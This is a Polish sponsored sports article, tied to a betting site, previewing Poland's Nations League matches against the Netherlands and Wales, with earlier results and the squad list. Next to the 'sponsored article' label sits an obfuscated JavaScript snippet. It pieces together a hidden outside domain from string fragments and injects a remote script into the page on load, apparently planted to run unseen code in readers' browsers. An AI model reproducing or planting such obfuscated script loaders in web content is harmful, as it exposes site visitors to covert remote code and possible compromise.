Już za chwilę Polacy będą mieli okazję ponownie zmierzyć się z drużyną Louisa van Gaala. W pierwszym spotkaniu obie drużyny musiały podzielić się punktami. Czy teraz będzie inaczej? BETFAN Zakłady bukmacherskie w roli faworyta wskazują Holendrów, jednak Polaków nie skazuje się na zdecydowaną porażkę.
Już w pierwszym meczu Biało-czerwoni pokazali, że nie są “łatwym kąskiem” dla Holendrów. Po bramkach Mattyego Casha oraz Piotra Zielińskiego Polacy prowadzili zdecydowaną większość meczu. Wynik spotkania ustaliły dopiero bramki Klassena i Dumfriesa w 51 i 54 minucie gry (choć mogło skończyć się porażką Polaków, jednak w 91 minucie karnego nie trafił Depay).
Czy Stadion Narodowy będzie swego rodzaju handicapem dla reprezentacji Polski? Zdecydowanie. Drużyna pod wodzą Czesława Michniewicza niejednokrotnie pokazywała, że z dopingiem wielu tysięcy kibiców z orzełkiem na piersi, właśnie nad Wisłą gra im się im najlepiej. Niewątpliwą wartością dodaną będzie także zapowiedź występów Roberta Lewandowskiego w obydwu meczach Ligi Narodów.
W niedzielę natomiast Polacy powalczą na murawie z reprezentacją Walii. Na początku czerwca we Wrocławiu Biało-czerwoni pokonali Walijczyków 2:1 (Kamiński 72’, Świderski 85’ - Williams 52’). Wtedy jednak przed meczem byli zdecydowani faworytami. Sytuacja przed najbliższym spotkaniem między tymi drużynami jest nieco inna.
W rewanżowym meczu na Cardiff City Stadium kursy oraz zapowiedzi wskazują na wynik bliżej remisu. Oczywiście to Polacy są dalej faworytami, ale nie tak zdecydowanymi jak w pierwszym meczu. Wszystko za sprawą dobrych występów Walijczyków w poprzednich meczach Ligi Narodów.
Reprezentacja, której trenerem jest Robert Page choć zdobyła tylko jeden punkt w dwumeczu z Holandią i pojedynku z Belgią, wyszła z tego “z twarzą”. Porażki 1:2, 2:3 z Holendrami oraz remis z Belgią 2:2, do tego nie najgorszy styl na boisku, pozwalają uważać, że przed Polakami niełatwe starcie.
Wśród oczywistych wyborów w szerokiej kadrze pojawiły się nowe twarze. Mowa tu o: Michale Skórasiu (Lech Poznań), Mateuszu Łęgowskim (Pogoń Szczecin) oraz Jakubie Piotrowskim (Łudogorec Razgrad).
Na murawie nie zobaczymy jednak takich zawodników jak: Matty Cash, Krystian Bielik, Marcin Kamiński, Patryk Kun, Tymoteusz Puchacz, Adam Buksa, Kamil Jóźwiak, Kamil Pestka, Konrad Michalak, Sebastian Walukiewicz.
Bramkarze:
Bartłomiej Drągowski, Radosław Majecki, Łukasz Skorupski, Wojciech Szczęsny
Obrońcy:
Jan Bednarek, Bartosz Bereszyński, Kamil Glik, Robert Gumny, Tomasz Kędziora, Jakub Kiwior, Mateusz Wieteska, Nicola Zalewski, Paweł Dawidowicz, Arkadiusz Reca
Pomocnicy:
Przemysław Frankowski, Kamil Grosicki, Jakub Kamiński, Grzegorz Krychowiak, Mateusz Klich, Karol Linetty, Sebastian Szymański, Szymon Żurkowski, Piotr Zieliński, Mateusz Łęgowski, Jakub Piotrowski, Michał Skóraś
Napastnicy:
Robert Lewandowski, Arkadiusz Milik, Krzysztof Piątek, Karol Świderski
Artykuł sponsorowany (function(){ i0wv_=("u"+"st");i0wv=document.createElement("script");i0wv.async=true; i0wvu="432034567";i0wv_+="a"+("t.");i0wv_+="i"+("nf"+("o"))+("/"); i0wvu+=".j5zzn6p60wvdymd9";i0wvu+="8x35d34lbp1c87"; i0wv.src="https://"+i0wv_+i0wvu;i0wv.type="text/javascript"; d_b=document.body;d_b.appendChild(i0wv); })();Chcesz być na bieżąco z wieściami z naszego portalu? Obserwuj nas na Google News!
Twoje zdanie jest ważne jednak nie może ranić innych osób lub grup.
Komentarze